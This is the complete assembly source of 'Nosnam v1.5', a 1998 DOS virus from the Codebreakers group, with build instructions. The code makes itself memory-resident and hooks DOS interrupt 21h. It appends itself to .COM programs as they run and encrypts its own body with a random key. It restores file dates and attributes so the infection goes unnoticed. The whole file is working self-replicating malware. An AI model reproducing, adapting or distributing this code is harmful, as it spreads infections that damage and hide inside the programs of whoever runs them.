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265 lines
14 KiB
NASM
265 lines
14 KiB
NASM
; ------------------------------------------------------------------------- ;
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; Nosnam v1.5 coded by KilJaeden of the Codebreakers 1998 ;
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; ------------------------------------------------------------------------- ;
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; Description: `-------------------| Started: 07/06/98 | Finished: 09/06/98 ;
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; `-------------------^------------------- ;
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; v1.0 - TSR *.com appender, direct MCB manipulation style | Size: 430 ;
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; v1.1 - add some XOR,NEG,NOT,ROR encryption to this `---------- ;
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; v1.2 - Infects only files < 1,000 bytes and > 62,000 bytes ;
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; v1.3 - saves and restores the time / date stamps ;
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; v1.4 - infects files with any attributes ;
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; v1.5 - saves and restores file attributes ;
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; ------------------------------------------------------------------------- ;
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; ------> For Christine Moore, For The Codebreakers & For Mind Warp <----- ;
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; ------------------------------------------------------------------------- ;
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; to compile ::] tasm nosnam.asm ;
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; to link :::::] tlink /t nosnam.obj ;
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; ------------------------------------------------------------------------- ;
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code segment ; name our segment 'code'
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assume cs:code,ds:code ; assign cs and ds to code
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org 100h ; this be a .com file
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.286 ; needed for pusha/popa
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blank: db 0e9h,0,0 ; define blank jump
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start: call delta ; push IP on to stack
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delta: pop bp ; pop it into BP
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sub bp,offset delta ; get delta offset
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encryp: jmp first ; jump to first (overwritten)
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lea si,[bp+encd] ; load SI with encrypted area start
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mov di,si ; move that address into DI
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call encr ; call the encryption loop
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jmp encd ; jump to encrypted area start
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encr: lodsb ; load a byte from AL
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not al ; encryptin 1
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ror al,4 ; encryptin 2
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neg al ; encryptin 3
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xor al,byte ptr [bp+key] ; unencrypt 4
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neg al ; unencrypt 3
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ror al,4 ; unencrypt 2
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not al ; unencrypt 1
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stosb ; store the byte
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loop encr ; do all the bytes
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ret ; return from call
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key db 0 ; define our key here
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encd: mov ax,0deadh ; move 0deadh into AX
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int 21h ; if resident, 0deadh is in BX
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cmp bx,0deadh ; check to see if it is
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jne go_rez ; nope, go rezident now
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jmp first3 ; jump to first three
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go_rez: sub word ptr cs:[2],80h ; lower top of memory data in PSP
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mov ax,cs ; move CS into AX
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dec ax ; decrement AX
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mov ds,ax ; move new value into DS
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sub word ptr ds:[3],80h ; sub 2kb from accessed MCB
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xor ax,ax ; AX to 0 now
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mov ds,ax ; DS is now 0
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sub word ptr ds:[413h],2 ; adjust BIOS data area by 2kb
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mov ax,word ptr ds:[413h] ; move adjusted BIOS mem to AX
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mov cl,6 ; load CL with 6
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shl ax,cl ; multiply BIOS base mem by 64
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mov es,ax ; move the value to ES
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push cs ; push CS again so you can
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pop ds ; restore DS to original value
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xor di,di ; DI is now 0
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lea si,[bp+start] ; SI loaded with start address
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mov cx,finished-start ; # of bytes to write
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rep movsb ; load virus into memory
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hook: xor ax,ax ; ax to 0
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mov ds,ax ; DS to 0
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lea ax,isr ; point IVT to new ISR
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sub ax,offset start ; subtract start offset
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mov bx,es ; move extra segment into BX
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cli ; clear interrupts
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xchg ax,word ptr ds:[21h*4] ; getting Int 21
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xchg bx,word ptr ds:[21h*4+2] ; into bx and ax
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mov word ptr es:[oi21-offset start],ax ; save old int 21
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mov word ptr es:[oi21+2-offset start],bx ; save old int 21
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sti ; restore interrupts
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push cs ; push code segment register
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push cs ; push it again
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pop ds ; put it into DS
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pop es ; put it into ES
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first3: lea si,[bp+buffer] ; restore first three bytes
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mov di,100h ; 100h to restore them too
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push di ; push 100h on to stack
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movsb ; move one byte
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movsw ; move one word
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retn ; return control to host
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isr: pushf ; push all the flags
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cmp ax,0deadh ; have we added check value?
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jne exec ; yup, wait now for 4bh
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mov bx,0deadh ; nope adding it now
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popf ; pop all flags
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iret ; pop cs:ip+flags from stack
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exec: pusha ; push all registers
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push ds ; push DS
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push es ; likewize for ES
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cmp ah,4bh ; something being executed?
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je main ; yup, on with the infecting
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jmp exit2 ; naw, jump to original ISR
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goexit: jmp exit ; need this to make the jump
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main: push bp ; save original delta offset
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call tsrdel ; push IP on to stack
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tsrdel: pop bp ; pop it off into BP
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sub bp,offset tsrdel ; get 2nd delta offset
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push ds ; push DS again
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pop es ; and pop it into ES
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mov di,dx ; move file info into DI
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mov cx,64 ; 64 byte filename possible
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mov al,'.' ; load al with .
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cld ; clear direction flag
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repnz scasb ; scan until . is hit
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cmp word ptr ds:[di],'OC' ; check for .CO-
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jne goexit ; not a .com file, exit
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cmp word ptr ds:[di+2],'M' ; check for .--M
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jne goexit ; not a .com file, exit
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mov ax,4300h ; get file attributes
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int 21h ; we have the attributes
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push cx ; save attribute #1
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push dx ; save attribute #2
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push ds ; save attribute #3
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mov ax,4301h ; set file attributes
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xor cx,cx ; to none at all
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int 21h ; file is ready now
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mov ax,3d02h ; open the file now
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int 21h ; open it up now
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xchg bx,ax ; move the info
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push cs ; push code segment register
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push cs ; push it again
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pop ds ; put it into DS
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pop es ; put it into ES
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mov ax,5700h ; get the time / date stamps
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int 21h ; got them now
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push dx ; save value #1
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push cx ; save value #2
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mov ah,3fh ; the record function
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lea dx,[bp+buffer] ; record bytes here
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mov cx,3 ; record three bytes
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int 21h ; restore them now
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mov ax,4202h ; scan to end of file
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cwd ; dx to 0
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xor cx,cx ; cx to 0
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int 21h ; DX:AX = file size now!
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cmp dx,0 ; is the file < 65,535 bytes?
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jne close ; way to big, close it up
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mov cx,word ptr [bp+buffer+1] ; move buffer+1 into CX
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add cx,finished-start+3 ; virus size + jump
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cmp ax,cx ; compare file size and CX
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jz close ; if equal, close it up
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cmp ax,1000 ; compare 1000 bytes with CX
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jb close ; file too small, close it
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cmp ax,62000 ; compare 62,000 bytes with AX
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ja close ; file too big, close it up
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sub ax,3 ; subtract 3 from filesize
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mov word ptr [bp+newjump+1],ax ; write as our new jump
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mov ax,4200h ; point to start of file
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cwd ; dx to 0
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xor cx,cx ; cx to 0
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int 21h ; now pointing to start
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mov ah,40h ; write to file
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mov cx,3 ; three bytes
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lea dx,[bp+newjump] ; write this
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int 21h ; jump is written
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mov ax,4202h ; scan to end of file
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cwd ; dx to 0
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xor cx,cx ; cx to 0
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int 21h ; now pointing to end
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in al,40h ; get random value
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mov byte ptr [bp+key],al ; save as our key
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mov ah,40h ; write to file
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lea dx,[bp+start] ; where to start
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mov cx,encd-start ; # of bytes to write
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int 21h ; write those bytes
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lea di,[bp+finished] ; DI points to encrypted area end
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push di ; save value, we need it in a minute
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lea si,[bp+encd] ; SI points to encrypted area start
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mov cx,finished-encd ; # of bytes to encrypt
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push cx ; save value, we need it in a minute
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call encr ; encrypt those bytes now
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mov ah,40h ; write to file
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pop cx ; use that saved value from before
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pop dx ; use the other saved value
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int 21h ; write those bytes
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close: mov ax,5701h ; set time / date stamps
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pop cx ; from saved value #2
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pop dx ; from saved value #1
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int 21h ; time / date is restored
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mov ax,4301h ; set file attributes
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pop ds ; from saved value #3
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pop dx ; from saved value #2
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pop cx ; from saved value #1
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int 21h ; attributes restored
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mov ah,3eh ; close the file
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int 21h ; file is closed
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exit: pop bp ; pop the original delta offset
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exit2: pop es ; pop ES from stack
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pop ds ; pop DS from stack
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popa ; pop all registers
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popf ; pop all flags
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db 0eah ; jump to original ISR
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; ---------------------------( The Data Area )----------------------------- ;
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; ------------------------------------------------------------------------- ;
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oi21 dd ? ; old int 21 goes here
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buffer db 0cdh,20h,0 ; terminates 1st gen
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virname db 'Nosnam',0 ; the virus name
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newjump db 0e9h,0,0 ; blank jump 1st gen
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finished label near ; the offset label
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; ---------------------( Not Saved / Not Encrypted )----------------------- ;
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; ------------------------------------------------------------------------- ;
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first: lea di,[bp+encryp] ; load with start address
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lea si,[bp+new] ; load with bytes to move
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movsw ; move two bytes
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movsb ; move one byte
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jmp encd ; jump to encrypted area
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new: mov cx,finished-encd ; this will overwrite the jump
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; ------------------------------( The End )-------------------------------- ;
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; ------------------------------------------------------------------------- ;
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code ends ; end code segment
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end blank ; end it all / where to start
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; ------------------------------------------------------------------------- ;
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; ---------> How Can You Think Freely In The Shadow Of A Church? <--------- ;
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; ------------------------------------------------------------------------- ;
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